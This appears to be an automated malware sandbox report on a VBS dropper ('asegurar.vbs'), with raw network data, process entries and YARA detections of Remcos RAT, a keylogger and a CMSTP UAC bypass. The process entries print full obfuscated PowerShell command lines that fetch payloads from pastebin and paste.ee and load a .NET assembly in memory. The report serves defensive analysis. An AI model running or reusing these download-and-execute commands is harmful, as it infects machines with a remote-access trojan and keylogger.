2024-10-31 06:41:19 UTC	1279	IN	Data Raw: 4f 4e 75 53 44 6d 30 59 47 4e 61 52 7a 4b 30 34 78 4d 67 50 7a 76 7a 55 37 4d 69 4f 44 65 7a 38 32 4d 6f 4e 6a 4a 7a 38 68 4d 6c 4c 7a 7a 79 67 72 4d 78 4b 44 69 79 41 6f 4d 6a 4a 54 56 79 59 6b 4d 47 45 44 37 41 41 41 41 34 42 51 42 41 41 41 41 41 38 44 31 2f 59 36 50 35 39 7a 5a 2f 38 30 50 47 35 54 79 2b 49 51 50 72 33 6a 33 39 45 64 50 45 33 7a 67 39 59 58 50 76 31 44 61 39 45 47 50 6b 7a 54 32 38 73 4c 50 55 79 6a 63 38 63 45 50 54 73 7a 37 37 41 2b 4f 57 76 7a 7a 36 49 76 4f 65 69 44 2b 34 49 35 4e 55 66 6a 78 33 4d 37 4e 72 65 54 6e 33 59 31 4e 4a 64 54 4e 33 4d 69 4e 37 61 54 57 31 41 61 4e 59 57 6a 69 31 6b 58 4e 73 56 54 59 31 45 53 4e 4d 51 44 2b 30 77 4f 4e 6a 53 7a 59 30 41 46 4e 75 51 44 43 7a 55 2b 4d 63 4f 7a 6c 7a 45 35 4d 4d 4f 6a 57 7a Data Ascii: ONuSDm0YGNaRzK04xMgPzvzU7MiODez82MoNjJz8hMlLzzygrMxKDiyAoMjJTVyYkMGED7AAAA4BQBAAAAA8D1/Y6P59zZ/80PG5Ty+IQPr3j39EdPE3zg9YXPv1Da9EGPkzT28sLPUyjc8cEPTsz77A+OWvzz6IvOeiD+4I5NUfjx3M7NreTn3Y1NJdTN3MiN7aTW1AaNYWji1kXNsVTY1ESNMQD+0wONjSzY0AFNuQDCzU+McOzlzE5MMOjWz
2024-10-31 06:41:19 UTC	1369	IN	Data Raw: 32 30 30 30 0d 0a 61 78 41 57 4d 38 45 44 4e 77 55 50 4d 74 44 44 72 77 45 4b 4d 4f 42 44 53 41 41 41 41 67 43 41 42 51 43 77 50 68 2f 54 32 2f 73 38 50 44 2f 6a 75 2f 45 37 50 70 2b 54 6f 2f 6b 35 50 4f 2b 44 66 2f 51 33 50 6f 39 44 59 2f 63 31 50 4f 39 6a 52 2f 34 7a 50 32 38 6a 4c 2f 45 79 50 56 38 54 44 2b 38 73 50 6a 36 7a 64 2b 41 6c 50 4b 35 44 52 2b 34 6a 50 32 34 6a 4d 2b 63 69 50 59 34 44 44 39 73 66 50 76 33 54 33 39 6b 62 50 71 32 44 6e 39 6f 58 50 31 31 44 63 39 77 56 50 52 31 44 50 39 38 53 50 6b 77 54 39 38 63 4e 50 53 7a 54 7a 38 49 4d 50 6d 79 6a 67 38 38 45 50 4b 78 54 52 38 6f 44 50 4a 73 54 35 37 41 2b 4f 62 76 44 30 37 51 37 4f 64 75 6a 67 37 30 33 4f 34 74 54 62 37 45 31 4f 42 74 44 49 37 73 78 4f 57 73 7a 43 36 6b 75 4f 58 72 54 75 Data Ascii: 2000axAWM8EDNwUPMtDDrwEKMOBDSAAAAgCABQCwPh/T2/s8PD/ju/E7Pp+To/k5PO+Df/Q3Po9DY/c1PO9jR/4zP28jL/EyPV8TD+8sPj6zd+AlPK5DR+4jP24jM+ciPY4DD9sfPv3T39kbPq2Dn9oXP11Dc9wVPR1DP98SPkwT98cNPSzTz8IMPmyjg88EPKxTR8oDPJsT57A+ObvD07Q7Odujg703O4tTb7E1OBtDI7sxOWszC6kuOXrTu
2024-10-31 06:41:19 UTC	1369	IN	Data Raw: 71 4e 69 55 44 32 31 4d 63 4e 70 56 6a 46 30 6b 77 4d 72 4d 44 43 79 67 64 4d 48 44 41 41 41 77 45 41 45 41 43 41 37 4d 47 4f 56 63 44 2b 33 59 36 4e 41 5a 44 4b 31 73 57 4e 79 55 44 44 30 41 39 4d 7a 50 54 41 79 41 74 4d 79 45 54 37 78 6f 62 4d 6f 46 7a 4f 78 34 41 4d 63 42 41 41 41 41 44 41 45 41 42 41 41 41 77 50 6e 2b 7a 64 2b 6b 53 50 69 33 7a 68 39 6b 33 4f 42 70 54 64 35 6b 45 4f 35 69 7a 6b 34 59 33 4e 45 61 6a 6e 32 63 6a 4e 6b 55 54 38 31 45 38 4d 6e 49 6a 35 79 55 73 4d 68 4b 6a 6d 79 55 70 4d 6c 45 54 61 77 6f 4a 41 41 41 41 51 41 51 41 41 41 38 6a 35 2f 45 2b 50 43 37 6a 78 2b 55 71 50 42 36 6a 65 2b 55 6e 50 49 30 44 48 38 77 65 4f 51 6d 6a 68 7a 63 67 4d 67 46 44 4d 78 6f 41 4d 74 44 7a 4e 77 73 42 41 41 41 41 4d 41 4d 41 38 41 41 41 41 2f Data Ascii: qNiUD21McNpVjF0kwMrMDCygdMHDAAAwEAEACA7MGOVcD+3Y6NAZDK1sWNyUDD0A9MzPTAyAtMyET7xobMoFzOx4AMcBAAAADAEABAAAwPn+zd+kSPi3zh9k3OBpTd5kEO5izk4Y3NEajn2cjNkUT81E8MnIj5yUsMhKjmyUpMlETawoJAAAAQAQAAA8j5/E+PC7jx+UqPB6je+UnPI0DH8weOQmjhzcgMgFDMxoAMtDzNwsBAAAAMAMA8AAAA/
2024-10-31 06:41:19 UTC	1369	IN	Data Raw: 4d 48 44 54 77 77 77 4c 4d 32 43 44 73 77 6f 4b 4d 6c 43 7a 6e 77 6b 4a 4d 54 43 6a 6a 77 67 49 4d 43 43 44 66 77 63 48 4d 78 42 7a 61 77 55 47 4d 67 42 6a 57 77 4d 46 4d 4f 42 54 53 77 4d 45 4d 39 41 7a 4e 77 49 44 4d 73 41 6a 4a 77 41 43 4d 62 41 54 46 77 38 41 4d 4a 41 44 42 41 41 51 41 49 42 77 41 67 42 41 41 41 38 6a 2f 2f 67 2f 50 79 2f 54 37 2f 63 2b 50 68 2f 7a 32 2f 59 39 50 51 2f 6a 79 2f 51 38 50 2f 2b 54 75 2f 4d 37 50 74 2b 44 71 2f 49 36 50 63 2b 6a 6c 2f 45 35 50 4c 2b 54 68 2f 38 33 50 36 39 44 64 2f 34 32 50 6f 39 7a 59 2f 30 31 50 58 39 54 55 2f 77 30 50 47 39 44 51 2f 6f 7a 50 31 38 7a 4c 2f 6b 79 50 6a 38 6a 48 2f 67 78 50 53 38 44 44 2f 63 77 50 42 34 6a 2b 2b 4d 76 50 74 37 44 69 39 45 61 50 56 77 54 30 38 51 4d 50 39 79 7a 74 38 45 Data Ascii: MHDTwwwLM2CDswoKMlCznwkJMTCjjwgIMCCDfwcHMxBzawUGMgBjWwMFMOBTSwMEM9AzNwIDMsAjJwACMbATFw8AMJADBAAQAIBwAgBAAA8j//g/Py/T7/c+Ph/z2/Y9PQ/jy/Q8P/+Tu/M7Pt+Dq/I6Pc+jl/E5PL+Th/83P69Dd/42Po9zY/01PX9TU/w0PG9DQ/ozP18zL/kyPj8jH/gxPS8DD/cwPB4j++MvPt7Di9EaPVwT08QMP9yzt8E

Target ID:	0
Start time:	02:41:00
Start date:	31/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\asegurar.vbs"
Imagebase:	0x7ff697930000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	02:41:01
Start date:	31/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?Sg?2?HU?UgBq?Fo?cgB2?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bq?GQ?YgBm?Gs?I??9?C??Jw?w?Cc?I??7?CQ?ZQB2?G8?bQBu?C??PQ?g?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?C??OwBb?EI?eQB0?GU?WwBd?F0?I??k?GQ?d?B2?GU?Yg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?FE?U?B0?GE?dg?u?HI?ZQBw?Gw?YQBj?GU?K??n?CQ?J??n?Cw?JwBB?Cc?KQ?g?Ck?I??7?Fs?UwB5?HM?d?Bl?G0?LgBB?H??c?BE?G8?bQBh?Gk?bgBd?Do?OgBD?HU?cgBy?GU?bgB0?EQ?bwBt?GE?aQBu?C4?T?Bv?GE?Z??o?CQ?Z?B0?HY?ZQBi?Ck?LgBH?GU?d?BU?Hk?c?Bl?Cg?JwBU?GU?a?B1?Gw?YwBo?GU?cwBY?Hg?W?B4?Hg?LgBD?Gw?YQBz?HM?MQ?n?Ck?LgBH?GU?d?BN?GU?d?Bo?G8?Z??o?Cc?TQBz?HE?QgBJ?GI?WQ?n?Ck?LgBJ?G4?dgBv?Gs?ZQ?o?CQ?bgB1?Gw?b??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?Jw?w?C8?Zg?y?Gs?cgBS?C8?Z??v?GU?ZQ?u?GU?d?Bz?GE?c??v?C8?OgBz?H??d?B0?Gg?Jw?g?Cw?I??k?GU?dgBv?G0?bg?g?Cw?I??n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?Xw?t?C0?LQ?t?C0?LQ?t?Cc?L??g?CQ?agBk?GI?ZgBr?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\Desktop\asegurar.vbs');powershell $Yolopolhggobek;
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	02:41:01
Start date:	31/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	3
Start time:	02:41:03
Start date:	31/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/J6uRjZrv' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$jdbfk = '0' ;$evomn = 'C:\Users\user\Desktop\asegurar.vbs' ;[Byte[]] $dtveb = [system.Convert]::FromBase64String( $QPtav.replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($dtveb).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/f2krR/d/ee.etsap//:sptth' , $evomn , '____________________________________________-------', $jdbfk, '1', 'Roda' ));"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000003.00000002.1927741950.0000026035520000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000003.00000002.1927741950.0000026035581000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	02:41:05
Start date:	31/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /c
Imagebase:	0x7ff684400000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	02:41:05
Start date:	31/10/2024
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\PING.EXE" 127.0.0.1
Imagebase:	0x7ff7cad00000
File size:	22'528 bytes
MD5 hash:	2F46799D79D22AC72C241EC0322B011D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	6
Start time:	02:41:09
Start date:	31/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	02:41:21
Start date:	31/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0xa90000
File size:	43'008 bytes
MD5 hash:	9827FF3CDF4B83F9C86354606736CA9C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.2961914920.0000000002C1E000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.2961016698.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 00000008.00000002.2959285882.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	moderate
Has exited:	false